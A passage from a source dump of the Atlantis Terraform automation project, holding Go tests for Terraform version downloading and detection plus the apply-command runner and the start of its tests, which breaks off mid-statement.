cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler)\n\tOk(t, err)\n\tEquals(t, \"0.11.10\", c.DefaultVersion().String())\n\n\toutput, err := c.RunCommandWithVersion(ctx, tmp, []string{\"terraform\", \"init\"}, map[string]string{}, distribution, v, \"\")\n\n\tAssert(t, err == nil, \"err: %s: %s\", err, output)\n\tEquals(t, \"\\nTerraform v99.99.99\\n\\n\", output)\n}\n\n// Test that EnsureVersion downloads terraform.\nfunc TestEnsureVersion_downloaded(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tRegisterMockTestingT(t)\n\t_, binDir, cacheDir := mkSubDirs(t)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\n\tmockDownloader := mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\n\tdownloadsAllowed := true\n\tc, err := tfclient.NewTestClient(logger, distribution, binDir, cacheDir, \"\", \"\", \"0.11.10\", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, downloadsAllowed, true, projectCmdOutputHandler)\n\tOk(t, err)\n\n\tEquals(t, \"0.11.10\", c.DefaultVersion().String())\n\n\tv, err := version.NewVersion(\"99.99.99\")\n\tOk(t, err)\n\n\tWhen(mockDownloader.Install(context.Background(), binDir, cmd.DefaultTFDownloadURL, v)).Then(func(params []Param) ReturnValues {\n\t\tbinPath := filepath.Join(params[1].(string), \"terraform99.99.99\")\n\t\terr := os.WriteFile(binPath, []byte(\"#!/bin/sh\\necho '\\nTerraform v99.99.99\\n'\"), 0700) // #nosec G306\n\t\treturn []ReturnValue{binPath, err}\n\t})\n\n\terr = c.EnsureVersion(logger, distribution, v)\n\n\tOk(t, err)\n\n\tmockDownloader.VerifyWasCalledEventually(Once(), 2*time.Second).Install(context.Background(), binDir, cmd.DefaultTFDownloadURL, v)\n}\n\n// Test that EnsureVersion downloads terraform from a custom URL.\nfunc TestEnsureVersion_downloaded_customURL(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tRegisterMockTestingT(t)\n\t_, binDir, cacheDir := mkSubDirs(t)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\n\tmockDownloader := mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\tdownloadsAllowed := true\n\tcustomURL := \"http://releases.example.com\"\n\n\tc, err := tfclient.NewTestClient(logger, distribution, binDir, cacheDir, \"\", \"\", \"0.11.10\", cmd.DefaultTFVersionFlag, customURL, downloadsAllowed, true, projectCmdOutputHandler)\n\tOk(t, err)\n\n\tEquals(t, \"0.11.10\", c.DefaultVersion().String())\n\n\tv, err := version.NewVersion(\"99.99.99\")\n\tOk(t, err)\n\n\tWhen(mockDownloader.Install(context.Background(), binDir, customURL, v)).Then(func(params []Param) ReturnValues {\n\t\tbinPath := filepath.Join(params[1].(string), \"terraform99.99.99\")\n\t\terr := os.WriteFile(binPath, []byte(\"#!/bin/sh\\necho '\\nTerraform v99.99.99\\n'\"), 0700) // #nosec G306\n\t\treturn []ReturnValue{binPath, err}\n\t})\n\n\terr = c.EnsureVersion(logger, distribution, v)\n\n\tOk(t, err)\n\n\tmockDownloader.VerifyWasCalledEventually(Once(), 2*time.Second).Install(context.Background(), binDir, customURL, v)\n}\n\n// Test that EnsureVersion throws an error when downloads are disabled\nfunc TestEnsureVersion_downloaded_downloadingDisabled(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tRegisterMockTestingT(t)\n\t_, binDir, cacheDir := mkSubDirs(t)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\n\tmockDownloader := mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\n\tdownloadsAllowed := false\n\tc, err := tfclient.NewTestClient(logger, distribution, binDir, cacheDir, \"\", \"\", \"0.11.10\", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, downloadsAllowed, true, projectCmdOutputHandler)\n\tOk(t, err)\n\n\tEquals(t, \"0.11.10\", c.DefaultVersion().String())\n\n\tv, err := version.NewVersion(\"99.99.99\")\n\tOk(t, err)\n\n\terr = c.EnsureVersion(logger, distribution, v)\n\tErrContains(t, \"could not find terraform version\", err)\n\tErrContains(t, \"downloads are disabled\", err)\n\tmockDownloader.VerifyWasCalled(Never())\n}\n\n// tempSetEnv sets env var key to value. It returns a function that when called\n// will reset the env var to its original value.\nfunc tempSetEnv(t *testing.T, key string, value string) func() {\n\torig := os.Getenv(key)\n\tOk(t, os.Setenv(key, value))\n\treturn func() { os.Setenv(key, orig) }\n}\n\n// returns parent, bindir, cachedir\nfunc mkSubDirs(t *testing.T) (string, string, string) {\n\ttmp := t.TempDir()\n\tbinDir := filepath.Join(tmp, \"bin\")\n\terr := os.MkdirAll(binDir, 0700)\n\tOk(t, err)\n\n\tcachedir := filepath.Join(tmp, \"plugin-cache\")\n\terr = os.MkdirAll(cachedir, 0700)\n\tOk(t, err)\n\n\treturn tmp, binDir, cachedir\n}\n\n// If TF downloads are disabled, test that terraform version is used when specified in terraform configuration only if an exact version\nfunc TestDefaultProjectCommandBuilder_TerraformVersion(t *testing.T) {\n\t// For the following tests:\n\t// If terraform configuration is used, result should be `0.12.8`.\n\t// If project configuration is used, result should be `0.12.6`.\n\t// If an inexact version is used, the result should be `nil`\n\t// If default is to be used, result should be `nil`.\n\n\tbaseVersionConfig := `\nterraform {\n  required_version = \"%s\"\n}\n`\n\t// Depending on when the tests are run, the > and >= matching versions will have to be increased.\n\t// It's probably not worth testing the terraform-switcher version here so we only test <, <=, and ~>.\n\t// One way to test this in the future is to mock tfswitcher.GetTFList() to return the highest\n\t// version of 1.3.5.\n\texpectedVersions := map[string]string{\n\t\t\"= 0.12.8\":  \"0.12.8\",\n\t\t\"< 0.12.8\":  \"0.12.7\",\n\t\t\"<= 0.12.8\": \"0.12.8\",\n\t\t\"~> 0.12.8\": \"0.12.31\",\n\n\t\t\"= 1.0.0\":  \"1.0.0\",\n\t\t\"< 1.0.0\":  \"0.15.5\",\n\t\t\"<= 1.0.0\": \"1.0.0\",\n\t\t\"~> 1.0.0\": \"1.0.11\",\n\n\t\t\"= 1.0\":  \"1.0.0\",\n\t\t\"< 1.0\":  \"0.15.5\",\n\t\t\"<= 1.0\": \"1.0.0\",\n\t\t// cannot use ~> 1.3 or ~> 1.0 since that is a moving target since it will always\n\t\t// resolve to the latest terraform 1.x\n\t\t\"~> 1.3.0\": \"1.3.10\",\n\t}\n\n\ttype testCase struct {\n\t\tDirStructure map[string]any\n\t\tExp          map[string]string\n\t\tIsExact      bool\n\t}\n\n\ttestCases := make(map[string]testCase)\n\tfor version, expected := range expectedVersions {\n\t\ttestCases[fmt.Sprintf(\"version using \\\"%s\\\"\", version)] = testCase{\n\t\t\tDirStructure: map[string]any{\n\t\t\t\t\"project1\": map[string]any{\n\t\t\t\t\t\"main.tf\": fmt.Sprintf(baseVersionConfig, version),\n\t\t\t\t},\n\t\t\t},\n\t\t\tExp: map[string]string{\n\t\t\t\t\"project1\": expected,\n\t\t\t},\n\t\t\tIsExact: version[0] == \"=\"[0],\n\t\t}\n\t}\n\n\ttestCases[\"no version specified\"] = testCase{\n\t\tDirStructure: map[string]any{\n\t\t\t\"project1\": map[string]any{\n\t\t\t\t\"main.tf\": nil,\n\t\t\t},\n\t\t},\n\t\tExp: map[string]string{\n\t\t\t\"project1\": \"\",\n\t\t},\n\t\tIsExact: true,\n\t}\n\n\ttestCases[\"projects with different terraform versions\"] = testCase{\n\t\tDirStructure: map[string]any{\n\t\t\t\"project1\": map[string]any{\n\t\t\t\t\"main.tf\": fmt.Sprintf(baseVersionConfig, \"= 0.12.8\"),\n\t\t\t},\n\t\t\t\"project2\": map[string]any{\n\t\t\t\t\"main.tf\": strings.ReplaceAll(fmt.Sprintf(baseVersionConfig, \"= 0.12.8\"), \"0.12.8\", \"0.12.9\"),\n\t\t\t},\n\t\t},\n\t\tExp: map[string]string{\n\t\t\t\"project1\": \"0.12.8\",\n\t\t\t\"project2\": \"0.12.9\",\n\t\t},\n\t\tIsExact: true,\n\t}\n\n\trunDetectVersionTestCase := func(t *testing.T, name string, testCase testCase, downloadsAllowed bool) bool {\n\t\treturn t.Run(name, func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\n\t\t\tlogger := logging.NewNoopLogger(t)\n\t\t\tRegisterMockTestingT(t)\n\t\t\t_, binDir, cacheDir := mkSubDirs(t)\n\t\t\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\t\t\tmockDownloader := mocks.NewMockDownloader()\n\t\t\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\n\t\t\tc, err := tfclient.NewTestClient(\n\t\t\t\tlogger,\n\t\t\t\tdistribution,\n\t\t\t\tbinDir,\n\t\t\t\tcacheDir,\n\t\t\t\t\"\",\n\t\t\t\t\"\",\n\t\t\t\t\"\",\n\t\t\t\tcmd.DefaultTFVersionFlag,\n\t\t\t\tcmd.DefaultTFDownloadURL,\n\t\t\t\tdownloadsAllowed,\n\t\t\t\ttrue,\n\t\t\t\tprojectCmdOutputHandler)\n\t\t\tOk(t, err)\n\n\t\t\ttmpDir := DirStructure(t, testCase.DirStructure)\n\n\t\t\tfor project, expectedVersion := range testCase.Exp {\n\t\t\t\tdetectedVersion := c.DetectVersion(logger, filepath.Join(tmpDir, project))\n\n\t\t\t\texpectNil := expectedVersion == \"\" || (!testCase.IsExact && !downloadsAllowed)\n\t\t\t\tif expectNil {\n\t\t\t\t\tAssert(t, detectedVersion == nil, \"TerraformVersion is supposed to be nil.\")\n\t\t\t\t} else {\n\t\t\t\t\tAssert(t, detectedVersion != nil, \"TerraformVersion is nil.\")\n\t\t\t\t\tOk(t, err)\n\t\t\t\t\tEquals(t, expectedVersion, detectedVersion.String())\n\t\t\t\t}\n\t\t\t}\n\n\t\t})\n\t}\n\n\tfor name, testCase := range testCases {\n\t\trunDetectVersionTestCase(t, name+\": Downloads Allowed\", testCase, true)\n\t\trunDetectVersionTestCase(t, name+\": Downloads Disabled\", testCase, false)\n\t}\n}\n\nfunc TestExtractExactRegex(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tRegisterMockTestingT(t)\n\t_, binDir, cacheDir := mkSubDirs(t)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\tmockDownloader := mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\n\tc, err := tfclient.NewTestClient(logger, distribution, binDir, cacheDir, \"\", \"\", \"0.11.10\", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler)\n\tOk(t, err)\n\n\ttests := []struct {\n\t\tversion string\n\t\twant    []string\n\t}{\n\t\t{\"= 1.2.3\", []string{\"1.2.3\"}},\n\t\t{\"=1.2.3\", []string{\"1.2.3\"}},\n\t\t{\"1.2.3\", []string{\"1.2.3\"}},\n\t\t{\"v1.2.3\", nil},\n\t\t{\">= 1.2.3\", nil},\n\t\t{\">=1.2.3\", nil},\n\t\t{\"<= 1.2.3\", nil},\n\t\t{\"<=1.2.3\", nil},\n\t\t{\"~> 1.2.3\", nil},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.version, func(t *testing.T) {\n\t\t\tif got := c.ExtractExactRegex(logger, tt.version); !reflect.DeepEqual(got, tt.want) {\n\t\t\t\tt.Errorf(\"ExtractExactRegex() = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/apply_command_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/core/db\"\n\t\"github.com/runatlantis/atlantis/server/core/locking\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n)\n\nfunc NewApplyCommandRunner(\n\tvcsClient vcs.Client,\n\tdisableApplyAll bool,\n\tapplyCommandLocker locking.ApplyLockChecker,\n\tcommitStatusUpdater CommitStatusUpdater,\n\tprjCommandBuilder ProjectApplyCommandBuilder,\n\tprjCmdRunner ProjectApplyCommandRunner,\n\tcancellationTracker CancellationTracker,\n\tautoMerger *AutoMerger,\n\tpullUpdater *PullUpdater,\n\tdbUpdater *DBUpdater,\n\tdatabase db.Database,\n\tparallelPoolSize int,\n\tSilenceNoProjects bool,\n\tsilenceVCSStatusNoProjects bool,\n\tpullReqStatusFetcher vcs.PullReqStatusFetcher,\n) *ApplyCommandRunner {\n\treturn &ApplyCommandRunner{\n\t\tvcsClient:                  vcsClient,\n\t\tDisableApplyAll:            disableApplyAll,\n\t\tlocker:                     applyCommandLocker,\n\t\tcommitStatusUpdater:        commitStatusUpdater,\n\t\tprjCmdBuilder:              prjCommandBuilder,\n\t\tprjCmdRunner:               prjCmdRunner,\n\t\tcancellationTracker:        cancellationTracker,\n\t\tautoMerger:                 autoMerger,\n\t\tpullUpdater:                pullUpdater,\n\t\tdbUpdater:                  dbUpdater,\n\t\tDatabase:                   database,\n\t\tparallelPoolSize:           parallelPoolSize,\n\t\tSilenceNoProjects:          SilenceNoProjects,\n\t\tsilenceVCSStatusNoProjects: silenceVCSStatusNoProjects,\n\t\tpullReqStatusFetcher:       pullReqStatusFetcher,\n\t}\n}\n\ntype ApplyCommandRunner struct {\n\tDisableApplyAll      bool\n\tDatabase             db.Database\n\tlocker               locking.ApplyLockChecker\n\tvcsClient            vcs.Client\n\tcommitStatusUpdater  CommitStatusUpdater\n\tprjCmdBuilder        ProjectApplyCommandBuilder\n\tprjCmdRunner         ProjectApplyCommandRunner\n\tcancellationTracker  CancellationTracker\n\tautoMerger           *AutoMerger\n\tpullUpdater          *PullUpdater\n\tdbUpdater            *DBUpdater\n\tparallelPoolSize     int\n\tpullReqStatusFetcher vcs.PullReqStatusFetcher\n\t// SilenceNoProjects is whether Atlantis should respond to PRs if no projects\n\t// are found\n\tSilenceNoProjects bool\n\t// SilenceVCSStatusNoPlans is whether any plan should set commit status if no projects\n\t// are found\n\tsilenceVCSStatusNoProjects bool\n\tSilencePRComments          []string\n}\n\nfunc (a *ApplyCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) {\n\tvar err error\n\tbaseRepo := ctx.Pull.BaseRepo\n\tpull := ctx.Pull\n\n\tlocked, err := a.IsLocked()\n\t// CheckApplyLock falls back to AllowedCommand flag if fetching the lock\n\t// raises an error\n\t// We will log failure as warning\n\tif err != nil {\n\t\tctx.Log.Warn(\"checking global apply lock: %s\", err)\n\t}\n\n\tif locked {\n\t\tctx.Log.Info(\"ignoring apply command since apply disabled globally\")\n\t\tif err := a.vcsClient.CreateComment(ctx.Log, baseRepo, pull.Num, applyDisabledComment, command.Apply.String()); err != nil {\n\t\t\tctx.Log.Err(\"unable to comment on pull request: %s\", err)\n\t\t}\n\n\t\treturn\n\t}\n\n\tif a.DisableApplyAll && !cmd.IsForSpecificProject() {\n\t\tctx.Log.Info(\"ignoring apply command without flags since apply all is disabled\")\n\t\tif err := a.vcsClient.CreateComment(ctx.Log, baseRepo, pull.Num, applyAllDisabledComment, command.Apply.String()); err != nil {\n\t\t\tctx.Log.Err(\"unable to comment on pull request: %s\", err)\n\t\t}\n\n\t\treturn\n\t}\n\n\t// Get the mergeable status before we set any build statuses of our own.\n\t// We do this here because when we set a \"Pending\" status, if users have\n\t// required the Atlantis status checks to pass, then we've now changed\n\t// the mergeability status of the pull request.\n\t// This sets the approved, mergeable, and sqlocked status in the context.\n\tctx.PullRequestStatus, err = a.pullReqStatusFetcher.FetchPullStatus(ctx.Log, pull)\n\tif err != nil {\n\t\t// On error we continue the request with mergeable assumed false.\n\t\t// We want to continue because not all apply's will need this status,\n\t\t// only if they rely on the mergeability requirement.\n\t\t// All PullRequestStatus fields are set to false by default when error.\n\t\tctx.Log.Warn(\"unable to get pull request status: %s. Continuing with mergeable and approved assumed false\", err)\n\t}\n\n\tvar projectCmds []command.ProjectContext\n\tprojectCmds, err = a.prjCmdBuilder.BuildApplyCommands(ctx, cmd)\n\tif err != nil {\n\t\tif statusErr := a.commitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, cmd.CommandName()); statusErr != nil {\n\t\t\tctx.Log.Warn(\"unable to update commit status: %s\", statusErr)\n\t\t}\n\t\ta.pullUpdater.updatePull(ctx, cmd, command.Result{Error: err})\n\t\treturn\n\t}\n\n\t// If there are no projects to apply, don't respond to the PR and ignore\n\tif len(projectCmds) == 0 && a.SilenceNoProjects {\n\t\tctx.Log.Info(\"determined there was no project to run plan in\")\n\t\tif !a.silenceVCSStatusNoProjects {\n\t\t\tif cmd.IsForSpecificProject() {\n\t\t\t\t// With a specific apply, just reset the status so it's not stuck in pending state\n\t\t\t\tpullStatus, err := a.Database.GetPullStatus(pull)\n\t\t\t\tif err != nil {\n\t\t\t\t\tctx.Log.Warn(\"unable to fetch pull status: %s\", err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tif pullStatus == nil {\n\t\t\t\t\t// default to 0/0\n\t\t\t\t\tctx.Log.Debug(\"setting VCS status to 0/0 success as no previous state was found\")\n\t\t\t\t\tif err := a.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Apply, 0, 0); err != nil {\n\t\t\t\t\t\tctx.Log.Warn(\"unable to update commit status: %s\", err)\n\t\t\t\t\t}\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tctx.Log.Debug(\"resetting VCS status\")\n\t\t\t\ta.updateCommitStatus(ctx, *pullStatus)\n\t\t\t} else {\n\t\t\t\t// With a generic apply, we set successful commit statuses\n\t\t\t\t// with 0/0 projects planned successfully because some users require\n\t\t\t\t// the Atlantis status to be passing for all pull requests.\n\t\t\t\t// Does not apply to skipped runs for specific projects\n\t\t\t\tctx.Log.Debug(\"setting VCS status to success with no projects found\")\n\t\t\t\tif err := a.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Apply, 0, 0); err != nil {\n\t\t\t\t\tctx.Log.Warn(\"unable to update commit status: %s\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn\n\t}\n\n\tresult := runProjectCmdsWithCancellationTracker(ctx, projectCmds, a.cancellationTracker, a.parallelPoolSize, a.isParallelEnabled(projectCmds), a.prjCmdRunner.Apply)\n\tctx.CommandHasErrors = result.HasErrors()\n\n\ta.pullUpdater.updatePull(\n\t\tctx,\n\t\tcmd,\n\t\tresult)\n\n\tpullStatus, err := a.dbUpdater.updateDB(ctx, pull, result.ProjectResults)\n\tif err != nil {\n\t\tctx.Log.Err(\"writing results: %s\", err)\n\t\treturn\n\t}\n\n\ta.updateCommitStatus(ctx, pullStatus)\n\n\tif a.autoMerger.automergeEnabled(projectCmds) && !cmd.AutoMergeDisabled {\n\t\ta.autoMerger.automerge(ctx, pullStatus, a.autoMerger.deleteSourceBranchOnMergeEnabled(projectCmds), cmd.AutoMergeMethod)\n\t}\n}\n\nfunc (a *ApplyCommandRunner) IsLocked() (bool, error) {\n\tlock, err := a.locker.CheckApplyLock()\n\n\treturn lock.Locked, err\n}\n\nfunc (a *ApplyCommandRunner) isParallelEnabled(projectCmds []command.ProjectContext) bool {\n\treturn len(projectCmds) > 0 && projectCmds[0].ParallelApplyEnabled\n}\n\nfunc (a *ApplyCommandRunner) updateCommitStatus(ctx *command.Context, pullStatus models.PullStatus) {\n\tvar numSuccess int\n\tvar numErrored int\n\tstatus := models.SuccessCommitStatus\n\n\tnumSuccess = pullStatus.StatusCount(models.AppliedPlanStatus) + pullStatus.StatusCount(models.PlannedNoChangesPlanStatus)\n\tnumErrored = pullStatus.StatusCount(models.ErroredApplyStatus)\n\n\tif numErrored > 0 {\n\t\tstatus = models.FailedCommitStatus\n\t} else if numSuccess < len(pullStatus.Projects) {\n\t\t// If there are plans that haven't been applied yet, we'll use a pending\n\t\t// status.\n\t\tstatus = models.PendingCommitStatus\n\t}\n\n\tif err := a.commitStatusUpdater.UpdateCombinedCount(\n\t\tctx.Log,\n\t\tctx.Pull.BaseRepo,\n\t\tctx.Pull,\n\t\tstatus,\n\t\tcommand.Apply,\n\t\tnumSuccess,\n\t\tlen(pullStatus.Projects),\n\t); err != nil {\n\t\tctx.Log.Warn(\"unable to update commit status: %s\", err)\n\t}\n}\n\n// applyAllDisabledComment is posted when apply all commands (i.e. \"atlantis apply\")\n// are disabled and an apply all command is issued.\nvar applyAllDisabledComment = \"**Error:** Running `atlantis apply` without flags is disabled.\" +\n\t\" You must specify which project to apply via the `-d <dir>`, `-w <workspace>` or `-p <project name>` flags.\"\n\n// applyDisabledComment is posted when apply commands are disabled globally and an apply command is issued.\nvar applyDisabledComment = \"**Error:** Running `atlantis apply` is disabled.\"\n"
  },
  {
    "path": "server/events/apply_command_runner_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events_test\n\nimport (\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/google/go-github/v83/github\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/boltdb\"\n\t\"github.com/runatlantis/atlantis/server/core/locking\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/models/testdata\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/metrics/metricstest\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestApplyCommandRunner_IsLocked(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tRegisterMockTestingT(t)\n\n\tcases := []struct {\n\t\tDescription    string\n\t\tApplyLocked    bool\n\t\tApplyLockError error\n\t\tExpComment     string\n\t}{\n\t\t{\n\t\t\tDescription:    \"When global apply lock is present IsDisabled returns true\",\n\t\t\tApplyLocked:    true,\n\t\t\tApplyLockError: nil,\n\t\t\tExpComment:     \"**Error:** Running `atlantis apply` is disabled.\",\n\t\t},\n\t\t{\n\t\t\tDescription:    \"When no global apply lock is present IsDisabled returns false\",\n\t\t\tApplyLocked:    false,\n\t\t\tApplyLockError: nil,\n\t\t\tExpComment:     \"Ran Apply for 0 projects:\",\n\t\t},\n\t\t{\n\t\t\tDescription:    \"If ApplyLockChecker returns an error IsDisabled returns false\",\n\t\t\tApplyLockError: errors.New(\"error\"),\n\t\t\tApplyLocked:    false,\n\t\t\tExpComment:     \"Ran Apply for 0 projects:\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\tvcsClient := setup(t, func(tc *TestConfig) {\n\t\t\t\ttc.applyLockCheckerReturn = locking.ApplyCommandLock{Locked: c.ApplyLocked}\n\t\t\t\ttc.applyLockCheckerErr = c.ApplyLockError\n\t\t\t})\n\n\t\t\tscopeNull := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\n\t\t\tpull := &github.PullRequest{\n\t\t\t\tState: github.Ptr(\"open\"),\n\t\t\t}\n\t\t\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num}\n\t\t\tWhen(githubGetter.GetPullRequest(logger, testdata.GithubRepo, testdata.Pull.Num)).ThenReturn(pull, nil)\n\t\t\tWhen(eventParsing.ParseGithubPull(logger, pull)).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\n\t\t\tctx := &command.Context{\n\t\t\t\tUser:     testdata.User,\n\t\t\t\tLog:      logging.NewNoopLogger(t),\n\t\t\t\tScope:    scopeNull,\n\t\t\t\tPull:     modelPull,\n\t\t\t\tHeadRepo: testdata.GithubRepo,\n\t\t\t\tTrigger:  command.CommentTrigger,\n\t\t\t}\n\n\t\t\tapplyCommandRunner.Run(ctx, &events.CommentCommand{Name: command.Apply})\n\n\t\t\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\t\t\tAny[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq(c.ExpComment), Eq(\"apply\"))\n\t\t})\n\t}\n}\n\nfunc TestApplyCommandRunner_IsSilenced(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tRegisterMockTestingT(t)\n\n\tcases := []struct {\n\t\tDescription       string\n\t\tMatched           bool\n\t\tTargeted          bool\n\t\tVCSStatusSilence  bool\n\t\tPrevApplyStored   bool // stores a 1/1 passing apply in the database\n\t\tExpVCSStatusSet   bool\n\t\tExpVCSStatusTotal int\n\t\tExpVCSStatusSucc  int\n\t\tExpSilenced       bool\n\t}{\n\t\t{\n\t\t\tDescription:     \"When applying, don't comment but set the 0/0 VCS status\",\n\t\t\tExpVCSStatusSet: true,\n\t\t\tExpSilenced:     true,\n\t\t},\n\t\t{\n\t\t\tDescription:     \"When applying with any previous apply's, don't comment but set the 0/0 VCS status\",\n\t\t\tPrevApplyStored: true,\n\t\t\tExpVCSStatusSet: true,\n\t\t\tExpSilenced:     true,\n\t\t},\n\t\t{\n\t\t\tDescription:     \"When applying with unmatched target, don't comment but set the 0/0 VCS status\",\n\t\t\tTargeted:        true,\n\t\t\tExpVCSStatusSet: true,\n\t\t\tExpSilenced:     true,\n\t\t},\n\t\t{\n\t\t\tDescription:       \"When applying with unmatched target and any previous apply's, don't comment and maintain VCS status\",\n\t\t\tTargeted:          true,\n\t\t\tPrevApplyStored:   true,\n\t\t\tExpVCSStatusSet:   true,\n\t\t\tExpSilenced:       true,\n\t\t\tExpVCSStatusSucc:  1,\n\t\t\tExpVCSStatusTotal: 1,\n\t\t},\n\t\t{\n\t\t\tDescription:      \"When applying with silenced VCS status, don't do anything\",\n\t\t\tVCSStatusSilence: true,\n\t\t\tExpVCSStatusSet:  false,\n\t\t\tExpSilenced:      true,\n\t\t},\n\t\t{\n\t\t\tDescription:       \"When applying with matching projects, comment as usual\",\n\t\t\tMatched:           true,\n\t\t\tExpVCSStatusSet:   true,\n\t\t\tExpSilenced:       false,\n\t\t\tExpVCSStatusSucc:  1,\n\t\t\tExpVCSStatusTotal: 1,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\t// create an empty DB\n\t\t\ttmp := t.TempDir()\n\t\t\tdb, err := boltdb.New(tmp)\n\t\t\tt.Cleanup(func() {\n\t\t\t\tdb.Close()\n\t\t\t})\n\t\t\tOk(t, err)\n\n\t\t\tvcsClient := setup(t, func(tc *TestConfig) {\n\t\t\t\ttc.SilenceNoProjects = true\n\t\t\t\ttc.silenceVCSStatusNoProjects = c.VCSStatusSilence\n\t\t\t\ttc.database = db\n\t\t\t})\n\n\t\t\tscopeNull := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\t\t\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num}\n\n\t\t\tcmd := &events.CommentCommand{Name: command.Apply}\n\t\t\tif c.Targeted {\n\t\t\t\tcmd.RepoRelDir = \"mydir\"\n\t\t\t}\n\n\t\t\tctx := &command.Context{\n\t\t\t\tUser:     testdata.User,\n\t\t\t\tLog:      logging.NewNoopLogger(t),\n\t\t\t\tScope:    scopeNull,\n\t\t\t\tPull:     modelPull,\n\t\t\t\tHeadRepo: testdata.GithubRepo,\n\t\t\t\tTrigger:  command.CommentTrigger,\n\t\t\t}\n\t\t\tif c.PrevApplyStored {\n\t\t\t\t_, err = db.UpdatePullWithResults(modelPull, []command.ProjectResult{\n\t\t\t\t\t{\n\t\t\t\t\t\tCommand:    command.Apply,\n\t\t\t\t\t\tRepoRelDir: \"prevdir\",\n\t\t\t\t\t\tWorkspace:  \"default\",\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t\tOk(t, err)\n\t\t\t}\n\n\t\t\tWhen(projectCommandBuilder.BuildApplyCommands(ctx, cmd)).Then(func(args []Param) ReturnValues {\n\t\t\t\tif c.Matched {\n\t\t\t\t\treturn ReturnValues{[]command.ProjectContext{{\n\t\t\t\t\t\tCommandName:       command.Apply,\n\t\t\t\t\t\tProjectPlanStatus: models.PlannedPlanStatus,\n\t\t\t\t\t}}, nil}\n\t\t\t\t}\n\t\t\t\treturn ReturnValues{[]command.ProjectContext{}, nil}\n\t\t\t})\n\n\t\t\tapplyCommandRunner.Run(ctx, cmd)\n\n\t\t\ttimesComment := 1\n\t\t\tif c.ExpSilenced {\n\t\t\t\ttimesComment = 0\n\t\t\t}\n\n\t\t\tvcsClient.VerifyWasCalled(Times(timesComment)).CreateComment(\n\t\t\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]())\n\t\t\tif c.ExpVCSStatusSet 